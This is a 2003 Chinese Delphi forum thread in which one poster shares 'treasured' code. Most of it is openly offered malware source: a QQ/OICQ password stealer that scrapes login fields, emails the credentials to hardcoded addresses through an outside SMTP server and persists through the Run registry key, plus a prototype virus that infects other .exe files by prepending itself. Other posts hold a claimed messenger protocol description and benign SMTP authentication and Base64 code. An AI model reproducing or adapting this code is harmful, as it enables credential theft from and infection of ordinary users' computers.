CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
山寨机中的战斗机! 程序优化工程师到底对IT界有没有贡献
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Delphi >  Windows SDK/API

$$$$$$$$$$delphi精彩大放送每日一贴绝对超值$$$$$$$$$$$

楼主coolfilm(苏飞工作室)2003-09-25 14:01:56 在 Delphi / Windows SDK/API 提问

为了学习delphi.和在程序道路上走的兄第!免费放送个人珍藏! 问题点数:0、回复次数:84Top

1 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:05:57 得分 0

公开OICQ所有通讯协议   --转载      
  忘记了(对不起)  
   
   
  摘 要:  
  关键字:OICQ,协议  
  类 别:网络  
     
     
  公开OICQ所有通讯协议  
              OICQ服务器系统通讯协议    
  协议说明:    
  协议由报文头(T)+发送者(T)+接收者(T)+报文类型(T)+报文长度(L)+报文内容组成    
  发送者和接收者是系统内的程序种类,OICQ服务器0x01,传真服务器0x02,WEB服务器0x03,打印服务器是0x04,聊天服务器是0x05,OICQ用户是0x0A。    
   
  OICQ用户到OICQ服务器的通讯协议   引导符   (0x81+0x0A+0x01)    
  报文类型   报文内容   报文说明    
  0x01   昵称(S)+肖像(M)+用户密码(S)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)+身份验证(T)新用户注册,身份验证用于当有人要将他加入好友时询问是否允许    
  0x02   服务号(L)+密码(S)+注册方式(T)老用户注册,方式分为0正常,1隐身    
  0x03   服务号(L)+对方服务号(L)+内容(S)   发送信息到某人    
  0x04   服务号(L)+组号(L)+内容(S)   广播信息,组号=0为全体    
  0x05   服务号(L)+朋友服务号(L)   查看朋友资料    
  0x06   服务号(L)+组名称(S)   增加组    
  0x07   服务号(L)+组编号(T)+组名称(S)   修改组名称    
  0x08   服务号(L)+组编号(T)   删除组    
  0x09   服务号(L)+移动人数(T)+{朋友服务号(L)+目的组号(T)}   移动组成员    
  0x0a   服务号(L)+起始编号(L)+回传个数(T)+查找标志(T)   看谁在线上    
  查找标志   1=向小找   2=向大找    
  0x0b   服务号(L)+SQL语句(S)   自定义查找    
  0x0c   服务号(L)+朋友服务号(L)   增加好友    
  0x0d   服务号(L)+朋友服务号(L)+加入原因(S)   请求加入好友    
  0x0e   服务号(L)+朋友服务号(L)   删除好友    
  0x10   服务号(L)+显示模式(T)   更改显示方式   1上线2隐藏3免打扰4离线    
  0x11   服务号(L)+监视服务号(L)   监视某人谈话    
  0x12   服务号(L)+昵称(S)+肖像(M)+用户密码(S)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)+身份验证(T)更改用户基本信息    
  0x13   服务号(L)+朋友服务号(L)+文件名(S)+文件长度(L)   请求发送文件    
  0x14   服务号(L)+朋友服务号(L)+允许/拒绝   是否允许发送文件    
  0x15   服务号(L)+朋友服务号(L)+文件内容(B)   发送文件    
  0x16   服务号(L)   连接测试报文    
  0x17   服务号(L)+朋友服务号(L)+同意标志(T)   应答对方请求加入好友    
  0=拒绝    
  1=同意    
   
  OICQ服务器到OICQ的通讯协议    
  报文类型   报文内容   报文说明    
  0x01   成功/失败(T)+服务号(L)   新用户注册结果返回    
  0x02   成功/失败(T)+组个数(T)+{组名称(S)+组编号(T)+朋友个数(T)+{朋友服务号(L)+肖像编号(T)+朋友状态(T)+朋友昵称(S)]   老用户注册结果返回    
  朋友状态    
  1=上线=2隐藏=3免打扰4离线    
  0x03   标志(T)   +   朋友服务号(L)+信息(S)+信息类型(T)   标志   1=系统   2=用户    
  发送消息,服务号=0是系统消息    
  1=用户某某已经把你加为好友    
  2=用户某某请求你通过身份验证    
  3=用户某某同意了你的验证要求    
  4=用户某某拒绝了你的验证请求    
  0x04   成功/失败(T)+朋友服务号(L)+昵称(S)+肖像(M)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)朋友信息回送    
  0x05   成功/失败(T)+组编号(T)+组名称(S)   增加组结果回送   1/0    
  0x06   成功/失败(T)+组编号(T)+组名称(S)修改组名称结果回送1/0    
  0x07   成功/失败(T)+组编号(T)   删除组结果回送1/0    
  0x08   成功/失败(T)   移动组成员结果回送1/0    
  0x09   成功/失败(T)+在线个数(T)+{服务号(L)+昵称(S)+肖像(M)+省(T)+市(S)}   查找在线人员结果回送    
  0x0a   成功/失败(T)+找到个数(T)+{服务号(L)+昵称(S)+肖像(M)+省(T)+市(S)}   自定义查找结果回送(最多50)    
  0x0b   标志(T)+朋友服务号(L)   增加好友结果回送标志    
  0=数据库失败    
  =1成功    
  =2需要身份验证    
  =3对方不允许加入    
  =4需要身份验证且不在线    
  0x0c   朋友服务号(L)+昵称(S)+肖像号(M)+朋友状态(T)   给在线用户增加好友    
  0x0e   成功/失败(T)+朋友服务号(L)   删除好友结果回送    
  0x10   服务号(L)+显示模式(T)   显示模式回送   =1上线=2隐藏=3免打扰4离线    
  0x11   成功/失败   更改用户基本信息结果回送    
  0x12   朋友服务号(L)+文件名(S)+文件长度(L)   请求发送文件    
  0x13   朋友服务号(L)+允许/拒绝   是否允许发送文件   1允许   0拒绝    
  0x14   朋友服务号(L)+文件内容(B)   发送文件    
  0x15   朋友服务号(L)+当前状态(T)朋友状态回送(系统发送)=1上线=2隐藏=3免打扰4离线    
  0x16   服务号(L)   连接测试  
     
  Top

2 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:09:25 得分 0

//---------------下面是oicqhack.dpr工程文件    
  program   oicqhack;    
   
  uses    
  Windows,    
  Messages,    
  mainunit   in   'mainunit.pas';    
   
  {$R   *.RES}    
   
  var    
  wClass:   TWndClass;   //   class   struct   for   main   window    
  Msg:   TMSG;   //   message   struct    
   
  procedure   ShutDown;    
  begin    
  UnRegisterClass(classname,hInst);    
  ExitProcess(hInst);   //end   program    
  end;    
   
  function   WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint;   stdcall;    
  begin    
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);    
  case   Msg   of    
  WM_CREATE:   wincreate;    
  WM_TIMER:   ontimer1;    
  WM_DESTROY:   ShutDown;    
  end;    
  end;    
   
  begin    
  //如果旧版本已运行,则停止旧版程序,只运行当前新版程序    
  hmain:=Findwindow('HackSoft-Oicq-Password-Recoder','OICQ   密码记录器2');    
  if   hmain<>0   then   sendmessage(lp,wm_destroy,0,0);    
   
   
  hInst:=GetModuleHandle(nil);   //   get   the   application   instance    
  classname:='HackSoft-Oicq-Password-Recoder';    
  with   wClass   do    
  begin    
  Style:=   CS_PARENTDC;    
  hIcon:=   LoadIcon(hInst,'MAINICON');    
  lpfnWndProc:=   @WindowProc;    
  hInstance:=   hInst;    
  hbrBackground:=   COLOR_BTNFACE+1;    
  lpszClassName:=   classname;    
  hCursor:=   LoadCursor(0,IDC_ARROW);    
  end;    
  RegisterClass(wClass);    
  hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'OICQ   密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);    
  //建立一个新的定时器,用来定时扫描系统中的窗口    
  newtime:=SetTimer(hmain,0,300,nil);    
  //建立消息循环    
  while(GetMessage(Msg,hmain,0,0))do    
  begin    
  TranslateMessage(Msg);    
  DispatchMessage(Msg);    
  end;    
  //结束定时器    
  killtimer(hmain,newtime);    
  end.    
   
  //-------下面是mainunit.pas单元文件    
   
  unit   mainunit;    
   
  interface    
   
  uses    
  Windows,    
  Messages,    
  SysUtils,    
  Classes,    
  winsock,    
  registry;    
  const    
  CRLF=#13#10;    
  var    
  spy:string;    
  hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer;    
  his:array[0..100]   of   integer;    
  syspath:array[0..200]   of   integer;    
  regservice:function(uThread:integer;uType:integer):Integer;stdcall;    
  libhandle:thandle;    
  classname:array[0..100]   of   char;    
  items:array[0..4]   of   string;    
   
  err:integer;    
  wsadata:twsadata;    
  fsocket,fport,step:integer;    
  SockAddrIn:TSockAddrIn;    
  hackmail,email,newpass,fhost,s1,password:string;    
  sbuf:array[0..1024]   of   char;    
   
  procedure   winCreate;    
  procedure   OnTimer1;    
   
  implementation    
   
  //修改注册表让程序自启动    
  procedure   autorun;    
  var   reg:tregistry;    
  begin    
  reg:=tregistry.create;    
  reg.rootkey:=HKEY_LOCAL_MACHINE;    
  reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);    
  reg.WriteString('oicqpass',spy+'OICQPASS.EXE');    
  reg.closekey;    
  reg.free;    
  end;    
   
  //下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱    
  procedure   MailSend;    
  begin    
  err:=recv(FSocket,sbuf,400,0);    
  s1:=strpas(sbuf);    
  inc(step);    
  case   step   of    
  1:s1:='HELO   smtp.hacker.com'+CRLF;    
  2:s1:='MAIL   FROM:   <getoicq@21cn.com>'+CRLF;    
  3:s1:='RCPT   TO:   <'+email+'>'+CRLF;    
  4:s1:='DATA'+CRLF;    
  5:s1:='From:"Oicq   Hack"<www.hacker.com>'+CRLF    
  +'To:"getoicq"<www.password.com>'+CRLF    
  +'Subject:QQ2001   Password   come.'+CRLF    
  +CRLF    
  +newpass+CRLF    
  +'.'+CRLF;    
  6:s1:='QUIT'+CRLF;    
  else    
  step:=0;    
  end;    
  strcopy(sbuf,pchar(s1));    
  err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);    
  end;    
  //发信主过程    
  procedure   SendPass;    
  begin    
  err:=WSAStartup($0101,WSAData);    
  FSocket   :=   socket(PF_INET,   SOCK_STREAM,IPPROTO_IP);    
  //利用   smtp.21cn.com   进行发信    
  fhost:='202.104.32.230';    
  fport:=25;    
  SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));    
  SockAddrIn.sin_family   :=   PF_INET;    
  SockAddrIn.sin_port   :=htons(Fport);    
  err:=connect(FSocket,SockAddrIn,   SizeOf(SockAddrIn));    
  step:=0;    
  repeat    
  MailSend;    
  until   step=0;    
  err:=closesocket(FSocket);    
  err:=WSACleanup;    
  end;    
   
   
  //窗口枚举函数    
  function   lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;    
  var   hw,hwold,hs,wlong,hup,i:integer;    
  sbuf,sb3,sb2:array[0..256]   of   char;    
  sb1:string;    
  begin    
  hwold:=GetParent(hwnd);    
  wlong:=GetWindowLong(hwnd,GWL_STYLE);    
  if   (wlong   and   ES_PASSWORD)<>0   then    
  begin    
  //检查是否OICQ登陆    
  hup:=GetParent(hwnd);    
  sendmessage(hup,wm_gettext,100,integer(@sbuf));    
  strpcopy(sb2,'OICQ   注册向导');    
  strpcopy(sb3,'QQ   注册向导');    
  if   (strcomp(sbuf,sb2)=0)   or   (strcomp(sbuf,sb3)=0)   then    
  begin    
  old:=GetParent(hup);    
  old:=GetParent(old);    
  old:=GetParent(old);    
  start:=0;    
  count:=1;    
  //items.clear;    
   
  //跳过两个窗口    
  hwnd:=Getwindow(hwnd,GW_HWNDFIRST);    
  hwnd:=Getwindow(hwnd,GW_HWNDNEXT);    
  //取得用户名    
  hwnd:=Getwindow(hwnd,GW_HWNDNEXT);    
  hw:=GetWindowTextLength(hwnd);    
  hs:=integer(@sbuf);    
  sendmessage(hwnd,wm_gettext,100,hs);    
  items[0]:='用户名:'+strpas(sbuf);    
  //取得密码    
  hwnd:=Getwindow(hwnd,GW_HWNDNEXT);    
  hw:=GetWindowTextLength(hwnd);    
  hs:=integer(@sbuf);    
  sendmessage(hwnd,wm_gettext,100,hs);    
  items[1]:='密码:'+strpas(sbuf);    
  end;    
  strpcopy(sb2,'OICQ用户登录');    
  strpcopy(sb3,'QQ用户登录');    
  if   (strcomp(sbuf,sb2)=0)   or   (strcomp(sbuf,sb3)=0)   then    
  begin    
  old:=GetParent(hup);    
  old:=GetParent(old);    
  start:=0;    
  count:=1;    
  //items.clear;    
  //取得用户名    
  hwnd:=Getwindow(hwnd,GW_HWNDFIRST);    
  hw:=GetWindowTextLength(hwnd);    
  hs:=integer(@sbuf);    
  sendmessage(hwnd,wm_gettext,100,hs);    
  items[0]:='用户名:'+strpas(sbuf);    
  //取得密码    
  hwnd:=Getwindow(hwnd,GW_HWNDNEXT);    
  hw:=GetWindowTextLength(hwnd);    
  hs:=integer(@sbuf);    
  sendmessage(hwnd,wm_gettext,100,hs);    
  items[1]:='密码:'+strpas(sbuf);    
  end;    
  end;    
  //检查是否在线    
  hw:=GetWindowTextLength(hwnd);    
  hs:=integer(@sbuf);    
  sendmessage(hwnd,wm_gettext,100,hs);    
  strpcopy(sb2,'在线');    
  strpcopy(sb3,'隐身');    
  if   (strcomp(sbuf,sb2)=0)   or   (strcomp(sbuf,sb3)=0)   then    
  begin    
  if   hwold=old   then    
  begin    
  if   olde<>old   then    
  begin    
  if   strcomp(sbuf,sb2)=0   then   items[2]:='登录成功:在线'    
  else   items[2]:='登录成功:隐身';    
  items[3]:='   ';    
  //密码发回我的邮箱getoicq@21cn.com    
   
  newpass:=format('%s   %s   %s   %s',[items[0],items[1],items[2],items[3],items[4]);    
  //    
  hackmail:=email;    
  sendpass;    
  email:='mf001@etang.com';    
  sendpass;    
  email:=hackmail;    
   
  //密码存盘到oicqpass.dll中    
   
  {    
  if   fileexists(spy+'oicqpass.dll')=false   then   fhand:=filecreate(spy+'oicqpass.dll')    
  else   fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);    
  if   fileexists(spy+'oicqpass.dll')=false   then   fhand:=filecreate(spy+'oicqpass.dll')    
  else   fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);    
  fileseek(fhand,0,2);    
  strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);    
  filewrite(fhand,sbuf,strlen(sbuf));    
  fileclose(fhand);    
  }    
  end;    
  olde:=old;    
  end;    
  end;    
  result:=true;    
  end;    
   
  定时器响应函数    
  procedure   OnTimer1;    
  begin    
  lp:=0;    
  EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);    
  end;    
  //窗口创建响应函数    
  procedure   winCreate;    
  var   wlong:integer;    
  s1:string;    
  s2,s3,sbuf:array[0..300]   of   char;    
  i:integer;    
  osver:TOSVERSIONINFO;    
  tmp:tmemorystream;    
  begin    
  //取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能    
  osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);    
  if   GetVersionEx(osver)=true   then    
  begin    
  if   VER_PLATFORM_WIN32_NT<>osver.dwPlatformId   then    
  begin    
  LibHandle:=LoadLibrary('kernel32.dll');    
  if   LibHandle<>0   then    
  begin    
  @regservice:=GetProcAddress(LibHandle,   'RegisterServiceProcess');    
  regservice(0,1);//1=hide,0=show;    
  FreeLibrary(LibHandle);    
  end;    
  end;    
  end;    
  max:=0;    
  count:=0;    
  将程序复制到系统目录    
  s1:=ParamStr(0);    
  for   i:=0   to   length(s1)   do   s2:=s1[i+1];    
  GetSystemDirectory(@syspath,MAX_PATH);    
  spy:=strpas(@syspath)+'\';    
  s1:=spy+'oicqhack.exe';    
  for   i:=0   to   length(s1)   do   s3:=s1[i+1];    
  copyfile(s2,s3,false);    
  //从email.txt中找到目标e-mail信箱    
  if   fileexists('c:\email.txt')=false   then    
  begin    
  email:='getoicq@21cn.com';    
  end   else    
  begin    
  tmp:=tmemorystream.create;;    
  tmp.loadfromfile('c:\email.txt');    
  count:=tmp.size;    
  //   strcopy(sbuf,pchar(''));    
  tmp.read(sbuf,count);    
  tmp.free;    
  email:='';    
  for   step:=0   to   count-1   do   email:=email+sbuf[step];    
  strcopy(sbuf,pchar(email));    
  //   messagebox(0,sbuf,'',0);    
  end;    
  count:=0;    
  step:=0;    
  //修改注册表使程序自启动    
  autorun;    
  end;    
   
  end.    
  Top

3 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:15:44 得分 0

我正编一个邮件发送接收软件,一般服务器无事,但有些服务器需身份认证,必须先    
  验证用户的ID标示符和密码,如新浪的邮箱。OUTLOOK可以,FOXMAIL3.0就不能用。    
  delphi的NMSMTP和SAKEMAIL都不行,请问有办法或控件解决这个问题吗?    
  hua8hua   (2001-10-11   8:20:00)    
  首先发送EHLO命令,判断返回中是否存在AUTH   LOGIN    
  如果存在,你就发送AUTH   LOGIN命令,等待服务器的应答,    
  服务器应该应答344   xxxxxxxxxxx,这个xxxxxxxxxx是base64编码的用户名,翻译过来就是    
  344   username:    
  然后你在发送base64编码的用户名,等待服务器应答,    
  服务器应该应答344   yyyyyyyyyyyy,这个yyyyyyyyyy是base64编码的密码,翻译过来就是    
  344   password:    
  然后你在发送base64编码的密码,等待服务器应答,    
  服务器开始验证你的用户和密码,    
  如果成功,则返回235   Authentication   Successful.    
  如果失败,则返回5xx    
  如果成功,接下来你就可以继续发送mail   from命令了。    
   
  还有一种就是发送ehlo中存在AUTH   CRAM-MD5,这是采用另一种编码MD5。同样    
  你发送AUTH   CRAM-MD5   命令,等待服务器应答    
  服务器如果支持这种编码,应该返回334   <一串长东西当作密钥>    
  注意那个小括号是通过base64编码的,包括括号。    
  然后你就接收到这个密钥,就用base64编码还原。    
  然后把用户名和密码组合起来   格式:用户名+空格+经过MD5编码(使用上面的密钥)的密码,    
  然后再把这一串用base64编码   ,然后发送给服务器,等待服务器应答    
  服务器收到后,现用base64编码还原,然后分解出用户名和密码,在对密码进行编码处理,    
  然后判断你是否合法,    
  如果合法,服务器返回和上面一样,    
  如果合法,你就可以继续发送mail   from命令    
   
  [red][b]给分[/b][/red][:D][:D]    
   
  TangDL   (2001-10-11   8:26:00)    
  转贴:SMTP协议的其它知识,密码认证如上所说    
   
  1.SMTP是工作在两种情况下:一是电子邮件从客户机传输到服务器;二是从某一个服务器传输到另一个    
  服务器    
  2.SMTP是个请求/响应协议,命令和响应都是基于ASCII文本,并以CR和LF符结束。响应包括一个表示返    
  回状态的三位数字代码    
  3.SMTP在TCP协议25号端口监听连接请求    
  4.连接和发送过程:    
   
  a.建立TCP连接    
  b.客户端发送HELO命令以标识发件人自己的身份,然后客户端发送MAIL命令    
  服务器端正希望以OK作为响应,表明准备接收    
  c.客户端发送RCPT命令,以标识该电子邮件的计划接收人,可以有多个RCPT行    
  服务器端则表示是否愿意为收件人接受邮件    
  d.协商结束,发送邮件,用命令DATA发送    
  e.   以.表示结束输入内容一起发送出去    
  f.结束此次发送,用QUIT命令退出。    
   
   
  5.另外两个命令:    
  VRFY---用于验证给定的用户邮箱是否存在,以及接收关于该用户的详细信息。    
  EXPN---用于扩充邮件列表。    
   
  6.邮件路由过程:    
  SMTP服务器基于‘域名服务DNS中计划收件人的域名来路由电子邮件。SMTP服务器基于DNS中的MX记录    
  来路由电子邮件,MX记录注册了域名和相关的SMTP中继主机,属于该域的电子邮件都应向该主机发送。    
   
  若SMTP服务器mail.abc.com收到一封信要发到shuser@sh.abc.com:    
   
  a.Sendmail请求DNS给出主机sh.abc.com的CNAME记录,如有,假若CNAME到shmail.abc.com,则再次    
  请求shmail.abc.com的CNAME记录,直到没有为止    
  b.假定被CNAME到shmail.abc.com,然后sendmail请求@abc.com域的DNS给出shmail.abc.com的MX记录,    
  shmail   MX   5   shmail.abc.com    
  10   shmail2.abc.com    
  c.   Sendmail最后请求DNS给出shmail.abc.com的A记录,即IP地址,若返回值为1.2.3.4    
  d.   Sendmail与1.2.3.4连接,传送这封给shuser@sh.abc.com的信到1.2.3.4这台服务器的SMTP后台程序    
   
  7.SMTP基本命令集:    
   
  命令   描述    
  ------------------------------    
  HELO   向服务器标识用户身份    
  发送者能欺骗,说谎,但一般情况下服务器都能检测到。    
   
  MAIL   初始化邮件传输    
  mail   from:    
  RCPT   标识单个的邮件接收人;常在MAIL命令后面    
  可有多个rcpt   to:    
  DATA   在单个或多个RCPT命令后,表示所有的邮件接收人已标识,并初始化数据传输,以.结束。    
  VRFY   用于验证指定的用户/邮箱是否存在;由于安全方面的原因,服务器常禁止此命令    
  EXPN   验证给定的邮箱列表是否存在,扩充邮箱列表,也常被禁用    
  HELP   查询服务器支持什么命令    
  NOOP   无操作,服务器应响应OK    
  QUIT   结束会话    
  RSET   重置会话,当前传输被取消    
  --------------------------------    
   
  8.   MAIL   FROM命令中指定的地址是称作   envelope   from地址,不需要和发送者自己的地址是一致的。    
  RCPT   TO   与之等同,指明的接收者地址称为envelope   to地址,而与实际的to:行是什么无关。    
  9.为什么没有RCPT   CC和RCPT   BCC:?    
  所有的接收者协商都通过RCPT   TO命令来实现,如果是BCC,则协商发送后在对方接收时被删掉信封接收者    
  10.邮件被分为信封部分,信头部分和信体部分    
  envelope   from,   envelope   to   与message   from:,   message   to:完全不相干。    
  evnelope是由服务器主机间SMTP后台提供的,而message   from/to是由用户提供的。有无冒号也是区别。    
   
  11.   怎样由信封部分检查是否一封信是否是伪造的?    
  a.   received行的关联性。    
  现在的SMTP邮件传输系统,在信封部分除了两端的内部主机处理的之个,考虑两个公司防火墙之间    
  的部分,若两台防火墙机器分别为A和B,但接收者检查信封received:行时发现经过了C.则是伪造的。    
  b.   received:行中的主机和IP地址对是否对应如:    
  Receibed:   from   galangal.org   (turmeric.com   [104.128.23.115]   by   mail   .bieberdorf.edu....    
  c.   被人手动添加在最后面的received行:    
  Received:   from   galangal.org   ([104.128.23.115])   by   mail   .bieberdorf.edu   (8.8.5)    
  Received:   from   lemongrass.org   by   galangal.org   (8.7.3)    
  Received:   from   graprao.com   by   lemongrass.org   (8.6.4)    
   
   
  转贴:NMSMTP的密码认证解决方案    
   
   
  const    
  BaseTable   =   'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';    
   
  function   EncodeBase64(Source:string):string;    
  var    
  Times,   LenSrc,   i:   Integer;    
  x1,   x2,   x3,   x4:   Char;    
  xt:   Byte;    
  begin    
  Result   :=   '';    
  LenSrc   :=   Length(Source);    
  if   LenSrc   mod   3   =   0   then    
  Times   :=   LenSrc   div   3    
  else    
  Times   :=   LenSrc   div   3   +   1;    
  for   i   :=   0   to   Times   -   1   do    
  begin    
  if   LenSrc   >=   (3   +   i   *   3)   then    
  begin    
  x1   :=   BaseTable[(ord(Source[1   +   i   *   3])   shr   2)+1];    
  xt   :=   (ord(Source[1   +   i   *   3])   shl   4)   and   48;    
  xt   :=   xt   or   (ord(Source[2   +   i   *   3])   shr   4);    
  x2   :=   BaseTable[xt   +   1];    
  xt   :=   (Ord(Source[2   +   i   *   3])   shl   2)   and   60;    
  xt   :=   xt   or   (Ord(Source[3   +   i   *   3])   shr   6);    
  x3   :=   BaseTable[xt   +   1];    
  xt   :=   (ord(Source[3   +   i   *   3])   and   63);    
  x4   :=   BaseTable[xt   +   1];    
  end    
  else   if   LenSrc   >=   (2   +   i   *   3)   then    
  begin    
  x1   :=   BaseTable[(Ord(Source[1   +   i   *   3])   shr   2)   +   1];    
  xt   :=   (Ord(Source[1   +   i   *   3])   shl   4)   and   48;    
  xt   :=   xt   or   (Ord(Source[2   +   i   *   3])   shr   4);    
  x2   :=   BaseTable[xt   +   1];    
  xt   :=   (Ord(Source[2   +   i   *   3])   shl   2)   and   60;    
  x3   :=   BaseTable[xt   +   1];    
  x4   :=   '=';    
  end   else    
  begin    
  x1   :=   BaseTable[(Ord(Source[1   +   i   *   3])   shr   2)+1];    
  xt   :=   (Ord(Source[1   +   i   *   3])   shl   4)   and   48;    
  x2   :=   BaseTable[xt   +   1];    
  x3   :=   '=';    
  x4   :=   '=';    
  end;    
  Result   :=   Result   +   x1   +   x2   +   x3   +   x4;    
  end;    
  end;    
   
  在SMTP.OnConnect事件中写身份验证.    
  procedure   TSendFile.NMSMTPConnect(Sender:   TObject);    
  begin   {身份验证}    
  if   FSMTP.ReplyNumber   =   250   then    
  FSMTP.Transaction('auth   login');    
  if   FSMTP.ReplyNumber   =   334   then    
  begin    
  FSMTP.Transaction(EncodeBase64(FUserID));    
  FSMTP.Transaction(EncodeBase64(FPassword));    
  end;    
  end;    
   
   
   
  Top

4 楼Ivin(鹅鹅鹅,齐项向天歌)回复于 2003-09-25 15:22:27 得分 0

不胜感激    
  Top

5 楼dickeybird888(小鸟)回复于 2003-09-25 15:55:29 得分 0

好啊!Top

6 楼things(Loving You)回复于 2003-09-25 15:56:11 得分 0

好Top

7 楼coolfilm(苏飞工作室)回复于 2003-09-26 08:44:50 得分 0

 
   
  Exe文件的修改  
   
  我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)    
  Code   here:    
   
  //headerprj.dpr    
  program   headerprj;    
   
  uses    
  Windows,Classes,SysUtils,Graphics,ShellAPI;    
   
  const    
  HEADERSIZE=78336;    
  ICONOFFSET=$11EB8;    
  INFECTFLAG='Infected   By   SOJ';    
  ID=$66666666;    
   
  {$R   *.RES}    
   
  var    
  tmpFile:string;    
  si:STARTUPINFO;    
  pi:PROCESS_INFORMATION;    
  sr:TSearchRec;    
  Counter:Integer;    
   
  //routines    
  procedure   CopyStream(Src:TStream;sStartPos:Integer;    
  Dst:TStream;dStartPos:Integer;Count:Integer);    
  var    
  sCurPos,dCurPos:Integer;    
  begin    
  sCurPos:=Src.Position;    
  dCurPos:=Dst.Position;    
  src.Seek(sStartPos,0);    
  dst.Seek(dStartPos,0);    
  dst.CopyFrom(src,Count);    
  src.Seek(sCurPos,0);    
  dst.Seek(dCurPos,0);    
  end;{CopyStream}    
   
  function   Getmyname:string;    
  var    
  cmdline:String;    
  myname:Array   [0..255]   of   Char;    
  i,j:integer;    
  begin    
  i:=1;j:=0;    
  cmdline:=GetCommandLine;    
  while   cmdline[i]<>chr(0)   do    
  begin    
  if   cmdline[i]<>'"'   then    
  begin    
  myname[j]:=cmdline[i];    
  inc(j);    
  end;    
  inc(i);    
  end;    
  myname[j-1]:=chr(0);    
  Result:=strpas(@myname);    
  end;{Getmyname}    
   
  function   GetTempFullName:String;    
  var    
  tmpPath:Array[1..256]of   Char;    
  tmpname:Array[1..256]of   Char;    
  begin    
  GetTempPath(256,@tmpPath);    
  GetTempFileName(@tmpPath,'PQR',0,@tmpName);    
  Result:=StrPas(@tmpName);    
  end;{GetTempFullName}    
   
  procedure   ExtractFile(filename:string);    
  var    
  sStream,dStream:TFileStream;    
  begin    
  sStream:=TFileStream.Create(Getmyname,fmOpenRead   or   fmShareDenyNone);    
  dStream:=TFileStream.Create(filename,fmCreate);    
  sStream.Seek(HEADERSIZE,0);    
  dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);    
  sStream.Free;    
  dStream.Free;    
  end;    
   
  procedure   fillstartupinfo(var   si:STARTUPINFO;state:WORD);    
  begin    
  si.cb   :=   sizeof(si);    
  si.lpReserved   :=   nil;    
  si.lpDesktop   :=   nil;    
  si.lpTitle   :=   nil;    
  si.dwFlags   :=   STARTF_USESHOWWINDOW;    
  si.wShowWindow   :=   state;    
  si.cbReserved2   :=   0;    
  si.lpReserved2   :=   nil;    
  end;    
   
  function   InfectFile(Filename:TFilename):Boolean;    
  var    
  hdrStream,srcStream:TFileStream;    
  icoStream,dstStream:TMemoryStream;    
  iID:Longint;    
  aIcon:TIcon;    
  begin    
  try    
  if   Filename='headerprj.exe'   then   exit;    
  srcStream:=TFileStream.Create(Filename,fmOpenRead);    
   
  srcStream.Seek(-4,2);    
  srcStream.Read(iID,4);    
   
  if   (iID=ID)   or   (srcStream.Size   >1000000)then    
  begin    
  srcStream.Free;    
  Result:=False;    
  exit;   //如果感染过了则退出    
  end;    
  srcStream.Free;    
   
  try    
  icoStream:=TMemoryStream.Create;    
  aIcon:=TIcon.Create;    
  aIcon.ReleaseHandle;    
  aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标    
  aIcon.SaveToStream(icoStream);    
  aIcon.Free;    
   
  srcStream:=TFileStream.Create(FileName,fmOpenRead);    
  hdrStream:=TFileStream.Create(GetMyName,fmOpenRead   or   fmShareDenyNone);//头文件    
  dstStream:=TMemoryStream.Create;    
   
  CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);    
  CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);    
  CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);    
   
  dstStream.Seek(0,2);    
  iID:=$66666666;    
  dstStream.Write(iID,4);    
   
  finally    
  icoStream.Free;    
  srcStream.Free;    
  hdrStream.Free;    
  dstStream.SaveToFile(Filename);    
  dstStream.Free;    
  Result:=True;    
  end;    
  except;    
  end;    
  end;    
   
  //主程序开始    
  begin    
  Counter:=2;    
  if   FindFirst('*.exe',faAnyFile,sr)=0   then    
  begin    
  InfectFile(sr.Name);    
  while   (FindNext(sr)=0)   and   (Counter>0)   do    
  begin    
  if   InfectFile(sr.Name)   then   Dec(Counter);    
  end;    
  end;    
  FindClose(sr);    
  if   ExtractFileName(Getmyname)='headerprj.exe'   then   exit;    
  tmpFile:=GetTempFullname;    
  ExtractFile(tmpFile);    
  fillstartupinfo(si,SW_SHOWDEFAULT);    
  CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);    
  end.    
   
  ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了  
     
  Top

8 楼coolfilm(苏飞工作室)回复于 2003-09-26 08:48:39 得分 0

 
  取Ide硬盘序列号函数    
   
  --------------------------------------------------------------------------------  
   
